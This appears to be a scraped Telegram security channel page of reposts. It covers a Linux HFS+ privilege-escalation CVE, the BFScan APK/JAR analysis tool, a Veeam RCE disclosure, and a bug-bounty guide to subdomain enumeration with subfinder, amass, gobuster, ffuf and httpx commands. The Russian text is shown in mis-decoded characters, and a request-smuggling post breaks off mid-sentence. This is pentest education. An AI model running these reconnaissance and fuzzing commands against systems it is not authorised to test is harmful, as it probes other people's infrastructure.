27 LPE HFS+ file system implementation in the Linux Kernel contains a heap overflow vulnerability…","articleBody":"CVE-2025-0927 LPE\n\nHFS+ file system implementation in the Linux Kernel contains a heap overflow vulnerability that achieves local privilege escalation on Ubuntu 22.04 for active user sessions.\n\nAffected Versions:\n β€’ Linux Kernel, up to 6.12.0\n β€’ Ubuntu 22.04 with Linux Kernel 6.5.0-18-generic","datePublished":"2025-03-20T10:21:19Z","dateModified":"2025-03-20T10:21:19Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":132},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":2}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2025-03-18T11:34:31Z"}}}]}
Fsecurity | HH
Fsecurity | HH
2 068
πŸ”—Π‘ΡΡ‹Π»ΠΊΠ°; https://www.securitylab.ru/news/557503.php

Fsecurity | HH
Fsecurity | HH
2 068
Discord сСрвСр πŸ‘†πŸ»Π’ΡƒΡ‚ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠΎΠ±Ρ‰Π°Ρ‚ΡŒΡΡ ΠΈ Π½Π°ΠΉΡ‚ΠΈ ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ 🦈

Fsecurity | HH
Fsecurity | HH
2 068
Repost from BlackFan
Π˜Π·ΡƒΡ‡Π°Ρ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ jadx наткнулся Π½Π° ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ Π² своС Java ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅. И эта идСя Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΠ½Ρ€Π°Π²ΠΈΠ»Π°ΡΡŒ, Ρ‡Ρ‚ΠΎ Π² ΠΈΡ‚ΠΎΠ³Π΅ Π²Ρ‹Π»ΠΈΠ»Π°ΡΡŒ Π² нСбольшой ΠΊΠΎΠΌΠ±Π°ΠΉΠ½, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠ΄ΠΎΠ±Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ JAR/WAR/APK ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΏΡ€ΠΈ Π°Π½Π°Π»ΠΈΠ·Π΅ защищСнности. https://github.com/BlackFan/BFScan BFScan Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅Ρ‚ строковыС константы Π² Java-классах ΠΈ рСсурсах прилоТСния для поиска строк, ΠΏΠΎΡ…ΠΎΠΆΠΈΡ… Π½Π° URL, ΠΏΡƒΡ‚ΠΈ ΠΈΠ»ΠΈ Π·Π°Ρ…Π°Ρ€Π΄ΠΊΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ сСкрСты. А Ρ‚Π°ΠΊΠΆΠ΅ Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΠ΅Ρ‚ сырыС HTTP запросы ΠΈ OpenAPI ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ Π½Π° основС ΠΊΠΎΠ½Ρ„ΠΈΠ³ΠΎΠ², Π°Π½Π½ΠΎΡ‚Π°Ρ†ΠΈΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΈ классов. ΠŸΡ€ΠΈ этом ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ клиСнтскиС Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Retrofit), ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Π² APK для взаимодСйствия с бэкСндом, Ρ‚Π°ΠΊ ΠΈ сСрвСрныС Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Spring-Π°Π½Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ. Π§Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΠ±Π»Π΅Π³Ρ‡Π°Π΅Ρ‚ тСстированиС API, ΠΊΠΎΠ³Π΄Π° Ρ‚Π΅Π»ΠΎ HTTP запроса Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΡ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ· дСсятка Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Ρ… классов. Рассмотрим ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π°Π±ΠΎΡ‚Ρ‹ ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Ρ‹ с классом, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΌ Spring-Π°Π½Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ. 
@RestController
@RequestMapping("/api")
public class UserController {

    @PostMapping("createUser")
    public String create(@RequestParam Optional<String> someParamName, @RequestBody User user) {
        return "response";
    }
Π’ случаС, Ссли ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌΠΎΠ΅ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡƒΡŽ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ, ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Π° сгСнСрируСт Ρ„Π°ΠΉΠ», содСрТащий всС HTTP запросы, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΠΌ. 
POST /api/createUser?someParamName=value HTTP/1.1
Host: localhost
Connection: close
Content-Type: application/json

{
  "name": "name",
  "age": 1
}
ΠŸΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΡƒΠ΄ΠΎΠ±Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ для клиСнтских ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅Ρ‚Π΅ API мобильного прилоТСния. Π’Π°ΠΊ ΠΈ Π² случаС, Ссли Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»ΠΈ скомпилированный JAR/WAR ΠΎΡ‚ сСрвСрного прилоТСния, для поиска Π² Π½Π΅ΠΌ Π·Π°Ρ…Π°Ρ€Π΄ΠΊΠΎΠΆΠ΅Π½Π½Ρ‹Ρ… сСкрСтов ΠΈΠ»ΠΈ дальнСйшСго Π°Π½Π°Π»ΠΈΠ·Π° API эндпоинтов, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ½ΠΎ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚. Если ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ обфусцировано, Ρ‡Ρ‚ΠΎ часто Π±Ρ‹Π²Π°Π΅Ρ‚ с APK, ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Π° ΠΏΡ€ΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅Ρ‚ всС Π°Π½Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ ΠΈ, Ссли ΠΎΠ½ΠΈ ΠΏΠΎΡ…ΠΎΠΆΠΈ Π½Π° Ρ‚ΠΈΠΏΠΈΡ‡Π½ΠΎΠ΅ объявлСниС API эндпоинтов, построит HTTP запросы Π½Π° основС Π½ΠΈΡ…. Π’ случаС, Ссли данная Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ сработала Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ jadx Π²Ρ‹ ΠΌΠΎΠΆΠ½ΠΎ Π»Π΅Π³ΠΊΠΎ ΡΡ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ mapping-Ρ„Π°ΠΉΠ»Ρ‹ для пСрСимСнования обфусцированных классов ΠΈ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎΠ³ΠΎ формирования HTTP-запросов.

Fsecurity | HH
Fsecurity | HH
2 068

Fsecurity | HH
Fsecurity | HH
2 068
Repost from Ralf Hacker Channel
CVE-2025-23120: Domain-Level RCE in Veeam Backup & Replication https://labs.watchtowr.com/by-executive-order-we-are-banning-blacklists-domain-level-rce-in-veeam-backup-replication-cve-2025-23120/ Affected Product: Veeam Backup & Replication 12.3.0.310 and all earlier version 12 builds. Patched: March 19, 2025 #ad #pentest #redteam #rce

Fsecurity | HH
Fsecurity | HH
2 068
πŸ”—Π‘ΡΡ‹Π»ΠΊΠ°: https://www.securitylab.ru/news/557502.php

Fsecurity | HH
Fsecurity | HH
2 068
Repost from Standoff 365
πŸ”Ž ΠŸΠ΅Ρ€Π΅Ρ‡ΠΈΡΠ»Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½ΠΎΠ²: ΠΊΠ°ΠΊ Ρ€Π°ΡΡˆΠΈΡ€ΠΈΡ‚ΡŒ ΠΏΠΎΠ²Π΅Ρ€Ρ…Π½ΠΎΡΡ‚ΡŒ Π°Ρ‚Π°ΠΊΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹Ρ… ΠΈ пассивных ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠœΡ‹ Ρ€Π΅ΡˆΠΈΠ»ΠΈ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ экспСр
+7
πŸ”Ž ΠŸΠ΅Ρ€Π΅Ρ‡ΠΈΡΠ»Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½ΠΎΠ²: ΠΊΠ°ΠΊ Ρ€Π°ΡΡˆΠΈΡ€ΠΈΡ‚ΡŒ ΠΏΠΎΠ²Π΅Ρ€Ρ…Π½ΠΎΡΡ‚ΡŒ Π°Ρ‚Π°ΠΊΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹Ρ… ΠΈ пассивных ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠœΡ‹ Ρ€Π΅ΡˆΠΈΠ»ΠΈ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹ΠΉ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π±ΡƒΠ΄Π΅ΠΌ Π΄Π΅Π»ΠΈΡ‚ΡŒΡΡ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌΠΈ совСтами ΠΎΡ‚ ΠΎΠΏΡ‹Ρ‚Π½Ρ‹Ρ… Π±Π°Π³Ρ…Π°Π½Ρ‚Π΅Ρ€ΠΎΠ² β€” Π½Π΅ Π΅ΠΆΠ΅Π΄Π½Π΅Π²Π½ΠΎ, Π½ΠΎ рСгулярно. НачинаСм с самой Π±Π°Π·Ρ‹ β€” ΠΌΠΎΠΆΠ½ΠΎ унСсти Π΅Π΅ Π² сохранСнки ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ ΠΊ Π½Π΅ΠΉ ΠΏΠΎ нСобходимости. НС Π·Π°Π±Ρ‹Π²Π°ΠΉΡ‚Π΅ ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Ρ€Π΅Π°ΠΊΡ†ΠΈΠΈ ΠΏΠΎΠ΄ постом, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΡ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Π»ΠΈ, Π±Ρ‹Π» Π»ΠΈ ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π» ΠΏΠΎΠ»Π΅Π·Π΅Π½. А Ссли Ρƒ вас Π΅ΡΡ‚ΡŒ прСдлоТСния ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π΅, Π½Π΅ ΡΡ‚Π΅ΡΠ½ΡΠΉΡ‚Π΅ΡΡŒ Ρ€Π°ΡΡΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΎΠ± этом Π² коммСнтариях. Enjoy! Π§Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ ΡƒΠ±ΠΈΡ‚Ρ‹ΠΉ Π³ΠΎΡ€Π΅ΠΌ Π±Π°Π³Ρ…Π°Π½Ρ‚Π΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°ΠΉΡ‚ΠΈ Ρ…ΠΎΡ‚ΡŒ ΠΊΠ°ΠΊΡƒΡŽ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Π·Π°Ρ†Π΅ΠΏΠΊΡƒ? ΠŸΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ β€” ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚ Ρ€Π°Π·Π²Π΅Π΄ΠΊΡƒ ΠΏΠΎ Π½ΠΎΠ²ΠΎΠΉ: пассивный ΠΈ Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΉ поиск ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½ΠΎΠ², Π±Ρ€ΡƒΡ‚ ΠΏΡƒΡ‚Π΅ΠΉ ΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ², использованиС Π΄ΠΎΡ€ΠΊΠΎΠ², исслСдованиС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ ΠΈ Ρ‚. Π΄. КаТдая Ρ‚Π΅ΠΌΠ° здСсь достойна ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ поста, поэтому Π½Π°Ρ‡Π½Π΅ΠΌ ΠΏΠΎ порядку с простого β€” сбора ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½ΠΎΠ². ⭐️ ОписанноС Π½ΠΈΠΆΠ΅ особСнно ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, ΠΊΠΎΠ³Π΄Π° Π² скоупС Π±Π°Π³Π±Π°ΡƒΠ½Ρ‚ΠΈ-ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ Π΅ΡΡ‚ΡŒ DNS-записи wildcard (*.domain.tld). Π˜Ρ‚Π°ΠΊ, основная Ρ†Π΅Π»ΡŒ β€” ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ большС Π°ΠΊΡ‚ΠΈΠ²ΠΎΠ² ΠΈΠ· Π±Π°Π³Π±Π°ΡƒΠ½Ρ‚ΠΈ-ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΡ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ прСдставлСниС ΠΎΠ± ΠΎΠ±Ρ‰Π΅ΠΉ повСрхности Π°Ρ‚Π°ΠΊΠΈ ΠΈ ΠΎ Ρ€Π°Π±ΠΎΡ‚Π΅ инфраструктуры. ➑️ ΠŸΠ°ΡΡΠΈΠ²Π½Ρ‹ΠΉ сбор ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½ΠΎΠ²: Π²Ρ‹ Π½Π΅ взаимодСйствуСтС с Ρ†Π΅Π»Π΅Π²Ρ‹ΠΌ ΡƒΠ·Π»ΠΎΠΌ ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Π΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΈΠ· ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹Ρ… источников (DNS-записи, Π»ΠΎΠ³ΠΈ сСртификатов SSL ΠΈ TLS ΠΈΠ»ΠΈ Π²Π΅Π±-Π°Ρ€Ρ…ΠΈΠ²Ρ‹). ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… инструмСнтов: 🟒 Censys, Shodan, SecurityTrails, DNSDumpster ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΎΠ½Π»Π°ΠΉΠ½-сСрвисы. 🟒 Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Π²Ρ€ΠΎΠ΄Π΅ subfinder, amass ΠΈΠ»ΠΈ waybackurls, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ сами опросят мноТСство ΠΏΡƒΠ±Π»ΠΈΡ‡Π½Ρ‹Ρ… Π±Π°Π· Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ Π²Ρ‹Π²Π΅Π΄ΡƒΡ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π² ΡƒΠ΄ΠΎΠ±Π½ΠΎΠΌ для вас Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ (останСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ API-ΠΊΠ»ΡŽΡ‡ΠΈ): 
$ subfinder -d example.com -oJ domains-example.com.json
ΠΈΠ»ΠΈ
$ amass enum -d example.com -o domains-amass.example.com.txt -timeout 12 -v
🟒 Google-Π΄ΠΎΡ€ΠΊΠΈ β€” это Π±Π°Π·Π°: 
site:*.example.com -site:www.example.com
➑️ Активный сбор ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½ΠΎΠ² Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ поиск Π»ΡŽΠ±Ρ‹Ρ… ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ проиндСксированы ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΎ, Π½ΠΎ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ. РазбСрСмся с ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ: 🟒 Брутфорс DNS β€” ΠΏΠ΅Ρ€Π΅Π±ΠΎΡ€ ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½ΠΎΠ² ΠΏΠΎ ΡΠ»ΠΎΠ²Π°Ρ€ΡŽ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ составлСн ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ исходя ΠΈΠ· ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Ρ… Π² Ρ…ΠΎΠ΄Π΅ Ρ€Π°Π·Π²Π΅Π΄ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ…. ΠŸΡ€ΠΎ общСдоступныС словари Ρ‚ΠΎΠΆΠ΅ Π½Π΅ стоит Π·Π°Π±Ρ‹Π²Π°Ρ‚ΡŒ (SecLists, fuzzdb, Assetnote Wordlists). Π’Π°ΠΆΠ½ΠΎ Π½Π΅ ΠΎΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒΡΡ Π½Π° Π΄ΠΎΠΌΠ΅Π½Π°Ρ… 3-Π³ΠΎ уровня, Π° ΠΈΡΠΊΠ°Ρ‚ΡŒ дальшС. Π’ этом ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ инструмСнт mksub, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Π²Π°Ρ€ΠΈΠ°Ρ†ΠΈΠΈ ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½ΠΎΠ²: 
$ gobuster dns -d example.com -w wordlist.txt
$ mksub -d example.com -l 2 -w dns-wordlist.txt
🟒 Π€Π°Π·Π·ΠΈΠ½Π³ Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹Ρ… хостов (vhosts), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ‚ΠΎΡ‚ ΠΆΠ΅ IP-адрСс, Ρ‡Ρ‚ΠΎ ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π΄ΠΎΠΌΠ΅Π½ Π½Π° Π²Π΅Π±-сСрвСрС. ΠŸΠΎΠ»Π΅Π·Π½Ρ‹Π΅ инструмСнты для Ρ€Π°Π±ΠΎΡ‚Ρ‹ β€” ffuf ΠΈ wfuzz. 
$ ffuf -c -r -u 'https://www.example.com/' -H 'Host: FUZZ.example.com' -w dns-wordlist.txt
🟒 Reverse DNS (rDNS): ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ΅Ρ‚ IP-адрСс Π² связанноС с Π½ΠΈΠΌ Π΄ΠΎΠΌΠ΅Π½Π½ΠΎΠ΅ имя. Π­Ρ‚ΠΎΡ‚ способ особСнно ΠΏΠΎΠ»Π΅Π·Π΅Π½ ΠΏΡ€ΠΈ исслСдовании Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π° Ρ†Π΅Π»Π΅Π²Ρ‹Ρ… IP-адрСсов. На ΠΏΠΎΠΌΠΎΡ‰ΡŒ ΠΏΡ€ΠΈΠ΄ΡƒΡ‚ инструмСнты Linux (dig, host) ΠΈΠ»ΠΈ общСизвСстный dnsx. 
$ dig -x 8.8.4.4 +short
$ cat ips.txt | dnsx -ptr -resp-only
➑️ Π’Π΅Π±-ΠΊΡ€Π°ΡƒΠ»ΠΈΠ½Π³ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Burp Suite ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… инструмСнтов: просто ΡƒΠΊΠ°ΠΆΠΈΡ‚Π΅ кастомный скоуп, Ρ…ΠΎΠ΄ΠΈΡ‚Π΅ ΠΏΠΎ ссылкам ΠΈ отслСТивайтС Π½ΠΎΠ²Ρ‹Π΅ ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½Ρ‹. 
.*\.example\.com$
⭐️ ПослСдняя Π·Π°Π΄Π°Ρ‡Π° β€” ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹Π΅ Π²Π΅Π±-ΡƒΠ·Π»Ρ‹ ΠΈ ΠΈΠ·Π±Π°Π²ΠΈΡ‚ΡŒΡΡ ΠΎΡ‚ Ρ„ΠΎΠ»Π·ΠΎΠ². Π‘Π°ΠΌΡ‹ΠΉ простой способ β€” ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ httpx ΠΈΠ»ΠΈ httprobe. Π‘ΠΎΠ±ΠΈΡ€Π°Π΅ΠΌ ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½Ρ‹ Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» ΠΈ выполняСм: 
$ cat domains.txt | httpx -o domains-webserver.txt 
ΠΈΠ»ΠΈ
$ cat domains.txt | httprobe >> domains-webserver.txt
πŸ’‘ Π₯ΠΎΡ‚ΠΈΡ‚Π΅ Π΅Ρ‰Π΅ сильнСС ΡƒΠΏΡ€ΠΎΡΡ‚ΠΈΡ‚ΡŒ сСбС Тизнь? Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ anew для добавлСния ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹Ρ… строк Π² Ρ„Π°ΠΉΠ» ΠΈΠ· stdin. Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ Π½ΠΎΠ²Ρ‹Π΅ строки Π² stdout, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ Π΅Π³ΠΎ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ…ΠΎΠΆΠΈΠΌ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ tee -a. P. S. ΠŸΡ€ΠΈ ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠ΅ Π²Π΄ΠΎΡ…Π½ΠΎΠ²Π»ΡΠ»ΠΈΡΡŒ ΡΡ‚Π°Ρ‚ΡŒΠ΅ΠΉ ΠΎΡ‚ Π±Π°Π³Π±Π°ΡƒΠ½Ρ‚ΠΈ-ΠΏΠ»ΠΎΡ‰Π°Π΄ΠΊΠΈ YesWeHack.

Fsecurity | HH
Fsecurity | HH
2 068
Repost from SHADOW:Group
+2
πŸ”ƒ OpenResty/lua-nginx-module: Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ HTTP Request Smuggling Π² HEAD-запросах Раскрыли подробности CVE-2024-33452. ΠŸΡ€ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ HTTP/1.1-запросов lua-nginx-module Π½Π΅ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ Ρ€Π°Π·Π±ΠΈΡ€Π°Π΅Ρ‚ HEAD-запросы с Ρ‚Π΅Π»ΠΎΠΌ, воспринимая Ρ‚Π΅Π»ΠΎ запроса ΠΊΠ°ΠΊ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ запрос. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ ΠžΠ±Ρ‹Ρ‡Π½ΠΎ прокси-сСрвСры ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΡƒΡŽΡ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ HTTP-запрос ΠΊΠ°ΠΊ 